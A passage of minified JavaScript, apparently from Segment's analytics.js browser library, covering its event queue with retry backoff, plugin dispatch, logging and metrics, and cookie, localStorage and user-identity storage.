i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(a){return function(u){return function(a){if(n)throw new TypeError("Generator is already executing.");for(;o&&(o=0,a[0]&&(s=0)),s;)try{if(n=1,r&&(i=2&a[0]?r.return:a[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,a[1])).done)return i;switch(r=0,i&&(a=[2&a[0],i.value]),a[0]){case 0:case 1:i=a;break;case 4:return s.label++,{value:a[1],done:!1};case 5:s.label++,r=a[1],a=[0];continue;case 7:a=s.ops.pop(),s.trys.pop();continue;default:if(!(i=s.trys,(i=i.length>0&&i[i.length-1])||6!==a[0]&&2!==a[0])){s=0;continue}if(3===a[0]&&(!i||a[1]>i[0]&&a[1]<i[3])){s.label=a[1];break}if(6===a[0]&&s.label<i[1]){s.label=i[1],i=a;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(a);break}i[2]&&s.ops.pop(),s.trys.pop();continue}a=t.call(e,s)}catch(e){a=[6,e],r=0}finally{n=i=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,u])}}}function bt(e,t,n){if(n||2===arguments.length)for(var r,i=0,o=t.length;i<o;i++)!r&&i in t||(r||(r=Array.prototype.slice.call(t,0,i)),r[i]=t[i]);return e.concat(r||Array.prototype.slice.call(t))}"function"==typeof SuppressedError&&SuppressedError;var wt=function(){function e(){this.callbacks={}}return e.prototype.on=function(e,t){return this.callbacks[e]?this.callbacks[e].push(t):this.callbacks[e]=[t],this},e.prototype.once=function(e,t){var n=this,r=function(){for(var i=[],o=0;o<arguments.length;o++)i[o]=arguments[o];n.off(e,r),t.apply(n,i)};return this.on(e,r),this},e.prototype.off=function(e,t){var n,r=(null!==(n=this.callbacks[e])&&void 0!==n?n:[]).filter((function(e){return e!==t}));return this.callbacks[e]=r,this},e.prototype.emit=function(e){for(var t,n=this,r=[],i=1;i<arguments.length;i++)r[i-1]=arguments[i];return(null!==(t=this.callbacks[e])&&void 0!==t?t:[]).forEach((function(e){e.apply(n,r)})),this},e}(),Et=function(e,t){return Et=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},Et(e,t)};function St(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}Et(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var Ot=function(){return Ot=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},Ot.apply(this,arguments)};function xt(e,t,n,r){return new(n||(n=Promise))((function(i,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){var t;e.done?i(e.value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(s,a)}u((r=r.apply(e,t||[])).next())}))}function It(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(a){return function(u){return function(a){if(n)throw new TypeError("Generator is already executing.");for(;o&&(o=0,a[0]&&(s=0)),s;)try{if(n=1,r&&(i=2&a[0]?r.return:a[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,a[1])).done)return i;switch(r=0,i&&(a=[2&a[0],i.value]),a[0]){case 0:case 1:i=a;break;case 4:return s.label++,{value:a[1],done:!1};case 5:s.label++,r=a[1],a=[0];continue;case 7:a=s.ops.pop(),s.trys.pop();continue;default:if(!(i=s.trys,(i=i.length>0&&i[i.length-1])||6!==a[0]&&2!==a[0])){s=0;continue}if(3===a[0]&&(!i||a[1]>i[0]&&a[1]<i[3])){s.label=a[1];break}if(6===a[0]&&s.label<i[1]){s.label=i[1],i=a;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(a);break}i[2]&&s.ops.pop(),s.trys.pop();continue}a=t.call(e,s)}catch(e){a=[6,e],r=0}finally{n=i=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,u])}}}function Rt(e,t,n){if(n||2===arguments.length)for(var r,i=0,o=t.length;i<o;i++)!r&&i in t||(r||(r=Array.prototype.slice.call(t,0,i)),r[i]=t[i]);return e.concat(r||Array.prototype.slice.call(t))}function kt(e,t,n){t.split&&(t=t.split("."));for(var r,i,o=0,s=t.length,a=e;o<s&&"__proto__"!==(i=t[o++])&&"constructor"!==i&&"prototype"!==i;)a=a[i]=o===s?n:typeof(r=a[i])==typeof t?r:0*t[o]!=0||~(""+t[o]).indexOf(".")?{}:[]}"function"==typeof SuppressedError&&SuppressedError;var Ct=function(e){function t(t,n){var r=e.call(this,"".concat(t," ").concat(n))||this;return r.field=t,r}return St(t,e),t}(Error);function Pt(e){return"string"==typeof e}function At(e){return"number"==typeof e}function Nt(e){return"function"==typeof e}function Tt(e){return null!=e}function Mt(e){return"object"===Object.prototype.toString.call(e).slice(8,-1).toLowerCase()}var Lt="is not a string",jt="is not an object",Ut="is nil";function Dt(e,t){return new Promise((function(n,r){var i=setTimeout((function(){r(Error("Promise timed out"))}),t);e.then((function(e){return clearTimeout(i),n(e)})).catch(r)}))}function zt(e,t,n){var r;return(r=n,new Promise((function(e){return setTimeout(e,r)}))).then((function(){return Dt(function(){try{return Promise.resolve(t(e))}catch(e){return Promise.reject(e)}}(),1e3)})).catch((function(t){null==e||e.log("warn","Callback Error",{error:t}),null==e||e.stats.increment("callback_error")})).then((function(){return e}))}for(var Ft,Bt="onRemoveFromFuture",Ht=function(e){function t(t,n,r){var i=e.call(this)||this;return i.future=[],i.maxAttempts=t,i.queue=n,i.seen=null!=r?r:{},i}return St(t,e),t.prototype.push=function(){for(var e=this,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];var r=t.map((function(t){return!(e.updateAttempts(t)>e.maxAttempts||e.includes(t))&&(e.queue.push(t),!0)}));return this.queue=this.queue.sort((function(t,n){return e.getAttempts(t)-e.getAttempts(n)})),r},t.prototype.pushWithBackoff=function(e){var t=this;if(0===this.getAttempts(e))return this.push(e)[0];var n=this.updateAttempts(e);if(n>this.maxAttempts||this.includes(e))return!1;var r=function(e){var t=Math.random()+1,n=e.minTimeout,r=void 0===n?500:n,i=e.factor,o=void 0===i?2:i,s=e.attempt,a=e.maxTimeout,u=void 0===a?1/0:a;return Math.min(t*r*Math.pow(o,s),u)}({attempt:n-1});return setTimeout((function(){t.queue.push(e),t.future=t.future.filter((function(t){return t.id!==e.id})),t.emit(Bt)}),r),this.future.push(e),!0},t.prototype.getAttempts=function(e){var t;return null!==(t=this.seen[e.id])&&void 0!==t?t:0},t.prototype.updateAttempts=function(e){return this.seen[e.id]=this.getAttempts(e)+1,this.getAttempts(e)},t.prototype.includes=function(e){return this.queue.includes(e)||this.future.includes(e)||Boolean(this.queue.find((function(t){return t.id===e.id})))||Boolean(this.future.find((function(t){return t.id===e.id})))},t.prototype.pop=function(){return this.queue.shift()},Object.defineProperty(t.prototype,"length",{get:function(){return this.queue.length},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"todo",{get:function(){return this.queue.length+this.future.length},enumerable:!1,configurable:!0}),t}(wt),qt=256,Vt=[];qt--;)Vt[qt]=(qt+256).toString(16).substring(1);function $t(){var e,t=0,n="";if(!Ft||qt+16>256){for(Ft=Array(t=256);t--;)Ft[t]=256*Math.random()|0;t=qt=0}for(;t<16;t++)e=Ft[qt+t],n+=6==t?Vt[15&e|64]:8==t?Vt[63&e|128]:Vt[e],1&t&&t>1&&t<11&&(n+="-");return qt++,n}var Wt=function(){function e(){this._logs=[]}return e.prototype.log=function(e,t,n){var r=new Date;this._logs.push({level:e,message:t,time:r,extras:n})},Object.defineProperty(e.prototype,"logs",{get:function(){return this._logs},enumerable:!1,configurable:!0}),e.prototype.flush=function(){if(this.logs.length>1){var e=this._logs.reduce((function(e,t){var n,r,i,o=Ot(Ot({},t),{json:JSON.stringify(t.extras,null," "),extras:t.extras});delete o.time;var s=null!==(i=null===(r=t.time)||void 0===r?void 0:r.toISOString())&&void 0!==i?i:"";return e[s]&&(s="".concat(s,"-").concat(Math.random())),Ot(Ot({},e),((n={})[s]=o,n))}),{});console.table?console.table(e):console.log(e)}else this.logs.forEach((function(e){var t=e.level,n=e.message,r=e.extras;"info"===t||"debug"===t?console.log(n,null!=r?r:""):console[t](n,null!=r?r:"")}));this._logs=[]},e}(),Kt=function(){function e(){this.metrics=[]}return e.prototype.increment=function(e,t,n){void 0===t&&(t=1),this.metrics.push({metric:e,value:t,tags:null!=n?n:[],type:"counter",timestamp:Date.now()})},e.prototype.gauge=function(e,t,n){this.metrics.push({metric:e,value:t,tags:null!=n?n:[],type:"gauge",timestamp:Date.now()})},e.prototype.flush=function(){var e=this.metrics.map((function(e){return Ot(Ot({},e),{tags:e.tags.join(",")})}));console.table?console.table(e):console.log(e),this.metrics=[]},e.prototype.serialize=function(){return this.metrics.map((function(e){return{m:e.metric,v:e.value,t:e.tags,k:(t=e.type,{gauge:"g",counter:"c"}[t]),e:e.timestamp};var t}))},e}(),Gt=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return St(t,e),t.prototype.gauge=function(){},t.prototype.increment=function(){},t.prototype.flush=function(){},t.prototype.serialize=function(){return[]},t}(Kt),Yt=function(e){var t,n,r;this.retry=null===(t=e.retry)||void 0===t||t,this.type=null!==(n=e.type)&&void 0!==n?n:"plugin Error",this.reason=null!==(r=e.reason)&&void 0!==r?r:""},Qt=function(){function e(e,t,n,r){void 0===t&&(t=$t()),void 0===n&&(n=new Gt),void 0===r&&(r=new Wt),this.attempts=0,this.event=e,this._id=t,this.logger=r,this.stats=n}return e.system=function(){},e.prototype.isSame=function(e){return e.id===this.id},e.prototype.cancel=function(e){if(e)throw e;throw new Yt({reason:"Context Cancel"})},e.prototype.log=function(e,t,n){this.logger.log(e,t,n)},Object.defineProperty(e.prototype,"id",{get:function(){return this._id},enumerable:!1,configurable:!0}),e.prototype.updateEvent=function(e,t){var n;if("integrations"===e.split(".")[0]){var r=e.split(".")[1];if(!1===(null===(n=this.event.integrations)||void 0===n?void 0:n[r]))return this.event}return kt(this.event,e,t),this.event},e.prototype.failedDelivery=function(){return this._failedDelivery},e.prototype.setFailedDelivery=function(e){this._failedDelivery=e},e.prototype.logs=function(){return this.logger.logs},e.prototype.flush=function(){this.logger.flush(),this.stats.flush()},e.prototype.toJSON=function(){return{id:this._id,event:this.event,logs:this.logger.logs,metrics:this.stats.metrics}},e}();function Jt(e,t){e.log("debug","plugin",{plugin:t.name});var n=(new Date).getTime(),r=t[e.event.type];if(void 0===r)return Promise.resolve(e);var i=function(e){return xt(this,void 0,void 0,(function(){var t;return It(this,(function(n){switch(n.label){case 0:return n.trys.push([0,2,,3]),[4,e()];case 1:return[2,n.sent()];case 2:return t=n.sent(),[2,Promise.reject(t)];case 3:return[2]}}))}))}((function(){return r.apply(t,[e])})).then((function(e){var r=(new Date).getTime()-n;return e.stats.gauge("plugin_time",r,["plugin:".concat(t.name)]),e})).catch((function(n){if(n instanceof Yt&&"middleware_cancellation"===n.type)throw n;return n instanceof Yt?(e.log("warn",n.type,{plugin:t.name,error:n}),n):(e.log("error","plugin Error",{plugin:t.name,error:n}),e.stats.increment("plugin_error",1,["plugin:".concat(t.name)]),n)}));return i}function Xt(e,t){return Jt(e,t).then((function(t){if(t instanceof Qt)return t;e.log("debug","Context canceled"),e.stats.increment("context_canceled"),e.cancel(t)}))}var Zt=function(e){function t(t){var n,r,i,o=e.call(this)||this;return o.criticalTasks=(i=0,{done:function(){return n},run:function(e){var t,o=e();return"object"==typeof(t=o)&&null!==t&&"then"in t&&"function"==typeof t.then&&(1==++i&&(n=new Promise((function(e){return r=e}))),o.finally((function(){return 0==--i&&r()}))),o}}),o.plugins=[],o.failedInitializations=[],o.flushing=!1,o.queue=t,o.queue.on(Bt,(function(){o.scheduleFlush(0)})),o}return St(t,e),t.prototype.register=function(e,t,n){return xt(this,void 0,void 0,(function(){var r=this;return It(this,(function(i){switch(i.label){case 0:return[4,Promise.resolve(t.load(e,n)).then((function(){r.plugins.push(t)})).catch((function(n){if("destination"===t.type)return r.failedInitializations.push(t.name),console.warn(t.name,n),void e.log("warn","Failed to load destination",{plugin:t.name,error:n});throw n}))];case 1:return i.sent(),[2]}}))}))},t.prototype.deregister=function(e,t,n){return xt(this,void 0,void 0,(function(){var r;return It(this,(function(i){switch(i.label){case 0:return i.trys.push([0,3,,4]),t.unload?[4,Promise.resolve(t.unload(e,n))]:[3,2];case 1:i.sent(),i.label=2;case 2:return this.plugins=this.plugins.filter((function(e){return e.name!==t.name})),[3,4];case 3:return r=i.sent(),e.log("warn","Failed to unload destination",{plugin:t.name,error:r}),[3,4];case 4:return[2]}}))}))},t.prototype.dispatch=function(e){return xt(this,void 0,void 0,(function(){var t;return It(this,(function(n){return e.log("debug","Dispatching"),e.stats.increment("message_dispatched"),this.queue.push(e),t=this.subscribeToDelivery(e),this.scheduleFlush(0),[2,t]}))}))},t.prototype.subscribeToDelivery=function(e){return xt(this,void 0,void 0,(function(){var t=this;return It(this,(function(n){return[2,new Promise((function(n){var r=function(i,o){i.isSame(e)&&(t.off("flush",r),n(i))};t.on("flush",r)}))]}))}))},t.prototype.dispatchSingle=function(e){return xt(this,void 0,void 0,(function(){var t=this;return It(this,(function(n){return e.log("debug","Dispatching"),e.stats.increment("message_dispatched"),this.queue.updateAttempts(e),e.attempts=1,[2,this.deliver(e).catch((function(n){return t.enqueuRetry(n,e)?t.subscribeToDelivery(e):(e.setFailedDelivery({reason:n}),e)}))]}))}))},t.prototype.isEmpty=function(){return 0===this.queue.length},t.prototype.scheduleFlush=function(e){var t=this;void 0===e&&(e=500),this.flushing||(this.flushing=!0,setTimeout((function(){t.flush().then((function(){setTimeout((function(){t.flushing=!1,t.queue.length&&t.scheduleFlush(0)}),0)}))}),e))},t.prototype.deliver=function(e){return xt(this,void 0,void 0,(function(){var t,n,r,i;return It(this,(function(o){switch(o.label){case 0:return[4,this.criticalTasks.done()];case 1:o.sent(),t=Date.now(),o.label=2;case 2:return o.trys.push([2,4,,5]),[4,this.flushOne(e)];case 3:return e=o.sent(),n=Date.now()-t,this.emit("delivery_success",e),e.stats.gauge("delivered",n),e.log("debug","Delivered",e.event),[2,e];case 4:throw r=o.sent(),i=r,e.log("error","Failed to deliver",i),this.emit("delivery_failure",e,i),e.stats.increment("delivery_failed"),r;case 5:return[2]}}))}))},t.prototype.enqueuRetry=function(e,t){return!(e instanceof Yt&&!e.retry)&&this.queue.pushWithBackoff(t)},t.prototype.flush=function(){return xt(this,void 0,void 0,(function(){var e,t;return It(this,(function(n){switch(n.label){case 0:if(0===this.queue.length)return[2,[]];if(!(e=this.queue.pop()))return[2,[]];e.attempts=this.queue.getAttempts(e),n.label=1;case 1:return n.trys.push([1,3,,4]),[4,this.deliver(e)];case 2:return e=n.sent(),this.emit("flush",e,!0),[3,4];case 3:return t=n.sent(),this.enqueuRetry(t,e)||(e.setFailedDelivery({reason:t}),this.emit("flush",e,!1)),[2,[]];case 4:return[2,[e]]}}))}))},t.prototype.isReady=function(){return!0},t.prototype.availableExtensions=function(e){var t,n,r=this.plugins.filter((function(t){var n,r,i;if("destination"!==t.type&&"Segment.io"!==t.name)return!0;var o=void 0;return null===(n=t.alternativeNames)||void 0===n||n.forEach((function(t){void 0!==e[t]&&(o=e[t])})),null!==(i=null!==(r=e[t.name])&&void 0!==r?r:o)&&void 0!==i?i:!1!==("Segment.io"===t.name||e.All)})),i=(t="type",n={},r.forEach((function(e){var r,i=void 0;if("string"==typeof t){var o=e[t];i="string"!=typeof o?JSON.stringify(o):o}else t instanceof Function&&(i=t(e));void 0!==i&&(n[i]=Rt(Rt([],null!==(r=n[i])&&void 0!==r?r:[],!0),[e],!1))})),n),o=i.before,s=void 0===o?[]:o,a=i.enrichment,u=void 0===a?[]:a,c=i.destination,l=void 0===c?[]:c,f=i.after;return{before:s,enrichment:u,destinations:l,after:void 0===f?[]:f}},t.prototype.flushOne=function(e){var t,n;return xt(this,void 0,void 0,(function(){var r,i,o,s,a,u,c,l,f,h,d,p,g,y;return It(this,(function(v){switch(v.label){case 0:if(!this.isReady())throw new Error("Not ready");e.attempts>1&&this.emit("delivery_retry",e),r=this.availableExtensions(null!==(t=e.event.integrations)&&void 0!==t?t:{}),i=r.before,o=r.enrichment,s=0,a=i,v.label=1;case 1:return s<a.length?(u=a[s],[4,Xt(e,u)]):[3,4];case 2:(h=v.sent())instanceof Qt&&(e=h),this.emit("message_enriched",e,u),v.label=3;case 3:return s++,[3,1];case 4:c=0,l=o,v.label=5;case 5:return c<l.length?(f=l[c],[4,Jt(e,f)]):[3,8];case 6:(h=v.sent())instanceof Qt&&(e=h),this.emit("message_enriched",e,f),v.label=7;case 7:return c++,[3,5];case 8:return d=this.availableExtensions(null!==(n=e.event.integrations)&&void 0!==n?n:{}),p=d.destinations,g=d.after,[4,new Promise((function(t,n){setTimeout((function(){var r=p.map((function(t){return Jt(e,t)}));Promise.all(r).then(t).catch(n)}),0)}))];case 9:return v.sent(),e.stats.increment("message_delivered"),this.emit("message_delivered",e),y=g.map((function(t){return Jt(e,t)})),[4,Promise.all(y)];case 10:return v.sent(),[2,e]}}))}))},t}(wt);function en(e,t,n,r){return xt(this,void 0,void 0,(function(){var i,o;return It(this,(function(s){switch(s.label){case 0:return n.emit("dispatch_start",e),i=Date.now(),t.isEmpty()?[4,t.dispatchSingle(e)]:[3,2];case 1:return o=s.sent(),[3,4];case 2:return[4,t.dispatch(e)];case 3:o=s.sent(),s.label=4;case 4:return(null==r?void 0:r.callback)?[4,zt(o,r.callback,(a=i,u=r.timeout,c=Date.now()-a,Math.max((null!=u?u:300)-c,0)))]:[3,6];case 5:o=s.sent(),s.label=6;case 6:return(null==r?void 0:r.debug)&&o.flush(),[2,o]}var a,u,c}))}))}function tn(e,t,n,r){var i,o=[e,t,n,r],s=Mt(e)?e.event:e;if(!s||!Pt(s))throw new Error("Event missing");var a=Mt(e)?null!==(i=e.properties)&&void 0!==i?i:{}:Mt(t)?t:{},u={};return Nt(n)||(u=null!=n?n:{}),Mt(e)&&!Nt(t)&&(u=null!=t?t:{}),[s,a,u,o.find(Nt)]}function nn(e,t,n,r,i){var o,s,a=null,u=null,c=[e,t,n,r,i],l=c.filter(Pt);void 0!==l[0]&&void 0!==l[1]&&(a=l[0],u=l[1]),1===l.length&&(a=null,u=l[0]);var f=c.find(Nt),h=c.filter((function(e){return null===u?Mt(e):Mt(e)||null===e})),d=null!==(o=h[0])&&void 0!==o?o:{},p=null!==(s=h[1])&&void 0!==s?s:{};return[a,u,d,p,f]}var rn=function(e){return function(){for(var t,n,r,i,o,s=[],a=0;a<arguments.length;a++)s[a]=arguments[a];var u;u=null!==(r=null!==(t=s.find(Pt))&&void 0!==t?t:null===(n=s.find(At))||void 0===n?void 0:n.toString())&&void 0!==r?r:e.id();var c=s.filter((function(e){return null===u?Mt(e):Mt(e)||null===e})),l=null!==(i=c[0])&&void 0!==i?i:{},f=null!==(o=c[1])&&void 0!==o?o:{},h=s.find(Nt);return[u,l,f,h]}};function on(e,t,n,r){At(e)&&(e=e.toString()),At(t)&&(t=t.toString());var i=[e,t,n,r],o=i.filter(Pt),s=o[0],a=void 0===s?e:s,u=o[1],c=void 0===u?null:u,l=i.filter(Mt)[0];return[a,c,void 0===l?{}:l,i.find(Nt)]}function sn(){return"undefined"!=typeof window}function an(){return!sn()}function un(){return!sn()||window.navigator.onLine}function cn(){return!un()}function ln(e,t){return t=t||{},new Promise((function(n,r){var i=new XMLHttpRequest,o=[],s=[],a={},u=function(){return{ok:2==(i.status/100|0),statusText:i.statusText,status:i.status,url:i.responseURL,text:function(){return Promise.resolve(i.responseText)},json:function(){return Promise.resolve(i.responseText).then(JSON.parse)},blob:function(){return Promise.resolve(new Blob([i.response]))},clone:u,headers:{keys:function(){return o},entries:function(){return s},get:function(e){return a[e.toLowerCase()]},has:function(e){return e.toLowerCase()in a}}}};for(var c in i.open(t.method||"get",e,!0),i.onload=function(){i.getAllResponseHeaders().replace(/^(.*?):[^\S\n]*([\s\S]*?)$/gm,(function(e,t,n){o.push(t=t.toLowerCase()),s.push([t,n]),a[t]=a[t]?a[t]+","+n:n})),n(u())},i.onerror=r,i.withCredentials="include"==t.credentials,t.headers)i.setRequestHeader(c,t.headers[c]);i.send(t.body||null)}))}var fn=function(){return"undefined"!=typeof globalThis?globalThis:"undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:null},hn=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=fn();return(n&&n.fetch||ln).apply(void 0,e)},dn="1.53.3";/*! js-cookie v3.0.1 | MIT */
173
- function pn(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)e[r]=n[r]}return e}var gn=function e(t,n){function r(e,r,i){if("undefined"!=typeof document){"number"==typeof(i=pn({},n,i)).expires&&(i.expires=new Date(Date.now()+864e5*i.expires)),i.expires&&(i.expires=i.expires.toUTCString()),e=encodeURIComponent(e).replace(/%(2[346B]|5E|60|7C)/g,decodeURIComponent).replace(/[()]/g,escape);var o="";for(var s in i)i[s]&&(o+="; "+s,!0!==i[s]&&(o+="="+i[s].split(";")[0]));return document.cookie=e+"="+t.write(r,e)+o}}return Object.create({set:r,get:function(e){if("undefined"!=typeof document&&(!arguments.length||e)){for(var n=document.cookie?document.cookie.split("; "):[],r={},i=0;i<n.length;i++){var o=n[i].split("="),s=o.slice(1).join("=");try{var a=decodeURIComponent(o[0]);if(r[a]=t.read(s,a),e===a)break}catch(e){}}return e?r[e]:r}},remove:function(e,t){r(e,"",pn({},t,{expires:-1}))},withAttributes:function(t){return e(this.converter,pn({},this.attributes,t))},withConverter:function(t){return e(pn({},this.converter,t),this.attributes)}},{attributes:{value:Object.freeze(n)},converter:{value:Object.freeze(t)}})}({read:function(e){return'"'===e[0]&&(e=e.slice(1,-1)),e.replace(/(%[\dA-F]{2})+/gi,decodeURIComponent)},write:function(e){return encodeURIComponent(e).replace(/%(2[346BF]|3[AC-F]|40|5[BDE]|60|7[BCD])/g,decodeURIComponent)}},{path:"/"});function yn(e){try{return decodeURIComponent(e.replace(/\+/g," "))}catch(t){return e}}function vn(e){var t=function(e){try{return new URL(e)}catch(e){return}}(e);if(t)for(var n=function(e){var t=e.hostname.split("."),n=t[t.length-1],r=[];if(4===t.length&&parseInt(n,10)>0)return r;if(t.length<=1)return r;for(var i=t.length-2;i>=0;--i)r.push(t.slice(i).join("."));return r}(t),r=0;r<n.length;++r){var i="__tld__",o=n[r],s={domain:"."+o};try{if(gn.set(i,"1",s),gn.get(i))return gn.remove(i,s),o}catch(e){return}}}function mn(e){for(var t=e.constructor.prototype,n=0,r=Object.getOwnPropertyNames(t);n<r.length;n++){var i=r[n];if("constructor"!==i){var o=Object.getOwnPropertyDescriptor(e.constructor.prototype,i);o&&"function"==typeof o.value&&(e[i]=e[i].bind(e))}}return e}var _n={persist:!0,cookie:{key:"ajs_user_id",oldKey:"ajs_user"},localStorage:{key:"ajs_user_traits"}},bn=function(){function e(){this.cache={}}return e.prototype.get=function(e){return this.cache[e]},e.prototype.set=function(e,t){this.cache[e]=t},e.prototype.remove=function(e){delete this.cache[e]},Object.defineProperty(e.prototype,"type",{get:function(){return"memory"},enumerable:!1,configurable:!0}),e}(),wn=function(e){function t(n){void 0===n&&(n=t.defaults);var r=e.call(this)||this;return r.options=vt(vt({},t.defaults),n),r}return yt(t,e),t.available=function(){try{var e="ajs_cookies_check";gn.set(e,"test");var t=document.cookie.includes(e);return gn.remove(e),t}catch(e){return!1}},Object.defineProperty(t,"defaults",{get:function(){return{maxage:365,domain:vn(window.location.href),path:"/",sameSite:"Lax"}},enumerable:!1,configurable:!0}),t.prototype.opts=function(){return{sameSite:this.options.sameSite,expires:this.options.maxage,domain:this.options.domain,path:this.options.path,secure:this.options.secure}},t.prototype.get=function(e){try{var t=gn.get(e);if(!t)return null;try{return JSON.parse(t)}catch(e){return t}}catch(e){return null}},t.prototype.set=function(e,t){"string"==typeof t?gn.set(e,t,this.opts()):null===t?gn.remove(e,this.opts()):gn.set(e,JSON.stringify(t),this.opts())},t.prototype.remove=function(e){return gn.remove(e,this.opts())},Object.defineProperty(t.prototype,"type",{get:function(){return"cookie"},enumerable:!1,configurable:!0}),t}(bn),En=function(e,t){console.warn("Unable to access ".concat(e,", localStorage may be ").concat(t))},Sn=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return yt(t,e),t.available=function(){var e="test";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},t.prototype.get=function(e){try{var t=localStorage.getItem(e);if(null===t)return null;try{return JSON.parse(t)}catch(e){return t}}catch(t){return En(e,"unavailable"),null}},t.prototype.set=function(e,t){try{localStorage.setItem(e,JSON.stringify(t))}catch(t){En(e,"full")}},t.prototype.remove=function(e){try{return localStorage.removeItem(e)}catch(t){En(e,"unavailable")}},Object.defineProperty(t.prototype,"type",{get:function(){return"localStorage"},enumerable:!1,configurable:!0}),t}(bn),On=function(){function e(e,t){this.storageOptions=t,this.enabledStores=e}return e.prototype.getStores=function(e){var t=this,n=[];return this.enabledStores.filter((function(t){return!e||(null==e?void 0:e.includes(t))})).forEach((function(e){var r=t.storageOptions[e];void 0!==r&&n.push(r)})),n},e.prototype.getAndSync=function(e,t){var n=this.get(e,t),r="number"==typeof n?n.toString():n;return this.set(e,r,t),r},e.prototype.get=function(e,t){for(var n=null,r=0,i=this.getStores(t);r<i.length;r++){if(n=i[r].get(e))return n}return null},e.prototype.set=function(e,t,n){for(var r=0,i=this.getStores(n);r<i.length;r++){i[r].set(e,t)}},e.prototype.clear=function(e,t){for(var n=0,r=this.getStores(t);n<r.length;n++){r[n].remove(e)}},e}();function xn(e){return{cookie:wn.available()?new wn(e):void 0,localStorage:Sn.available()?new Sn:void 0,memory:new bn}}var In,Rn=function(){function e(e,t){void 0===e&&(e=_n);var n,r,i,o,s=this;this.options={},this.id=function(e){if(s.options.disable)return null;var t=s.identityStore.getAndSync(s.idKey);void 0!==e&&(s.identityStore.set(s.idKey,e),e!==t&&null!==t&&null!==e&&s.anonymousId(null));var n=s.identityStore.getAndSync(s.idKey);if(n)return n;var r=s.legacyUserStore.get(_n.cookie.oldKey);return r?"object"==typeof r?r.id:r:null},this.anonymousId=function(e){var t,n;if(s.options.disable)return null;if(void 0===e){var r=null!==(t=s.identityStore.getAndSync(s.anonKey))&&void 0!==t?t:null===(n=s.legacySIO())||void 0===n?void 0:n[0];if(r)return r}return null===e?(s.identityStore.set(s.anonKey,null),s.identityStore.getAndSync(s.anonKey)):(s.identityStore.set(s.anonKey,null!=e?e:$t()),s.identityStore.getAndSync(s.anonKey))},this.traits=function(e){var t;if(!s.options.disable)return null===e&&(e={}),e&&s.traitsStore.set(s.traitsKey,null!=e?e:{}),null!==(t=s.traitsStore.get(s.traitsKey))&&void 0!==t?t:{}},this.options=e,this.cookieOptions=t,this.idKey=null!==(r=null===(n=e.cookie)||void 0===n?void 0:n.key)&&void 0!==r?r:_n.cookie.key,this.traitsKey=null!==(o=null===(i=e.localStorage)||void 0===i?void 0:i.key)&&void 0!==o?o:_n.localStorage.key,this.anonKey="ajs_anonymous_id";var a=!0===e.disable,u=!1!==e.persist,c=a?[]:u?["localStorage","cookie","memory"]:["memory"],l=xn(t);e.localStorageFallbackDisabled&&(c=c.filter((function(e){return"localStorage"!==e}))),this.identityStore=new On(c,l),this.legacyUserStore=new On(c.filter((function(e){return"localStorage"!==e&&"memory"!==e})),l),this.traitsStore=new On(c.filter((function(e){return"cookie"!==e})),l);var f=this.legacyUserStore.get(_n.cookie.oldKey);f&&"object"==typeof f&&(f.id&&this.id(f.id),f.traits&&this.traits(f.traits)),mn(this)}return e.prototype.legacySIO=function(){var e=this.legacyUserStore.get("_sio");if(!e)return null;var t=e.split("----");return[t[0],t[1]]},e.prototype.identify=function(e,t){if(!this.options.disable){t=null!=t?t:{};var n=this.id();null!==n&&n!==e||(t=vt(vt({},this.traits()),t)),e&&this.id(e),this.traits(t)}},e.prototype.logout=function(){this.anonymousId(null),this.id(null),this.traits({})},e.prototype.reset=function(){this.logout(),this.identityStore.clear(this.idKey),this.identityStore.clear(this.anonKey),this.traitsStore.clear(this.traitsKey)},e.prototype.load=function(){return new e(this.options,this.cookieOptions)},e.prototype.save=function(){return!0},e.defaults=_n,e}(),kn={persist:!0,cookie:{key:"ajs_group_id"},localStorage:{key:"ajs_group_properties"}},Cn=function(e){function t(t,n){void 0===t&&(t=kn);var r=e.call(this,t,n)||this;return r.anonymousId=function(e){},mn(r),r}return yt(t,e),t}(Rn);var Pn="npm";function An(){return Pn}function Nn(e,t,n){var r=new On(n?[]:["cookie"],xn(function(){if(In)return In;var e=vn(window.location.href);return In={expires:31536e6,secure:!1,path:"/"},e&&(In.domain=e),In}())),i=r.get("s:context.referrer"),o=function(e){var t={btid:"dataxu",urid:"millennial-media"};e.startsWith("?")&&(e=e.substring(1));for(var n=0,r=(e=e.replace(/\?/g,"&")).split("&");n<r.length;n++){var i=r[n].split("="),o=i[0],s=i[1];if(t[o])return{id:s,type:t[o]}}}(e);(o=null!=o?o:i)&&(t&&(t.referrer=vt(vt({},t.referrer),o)),r.set("s:context.referrer",o))}function Tn(e,t,n,r){var 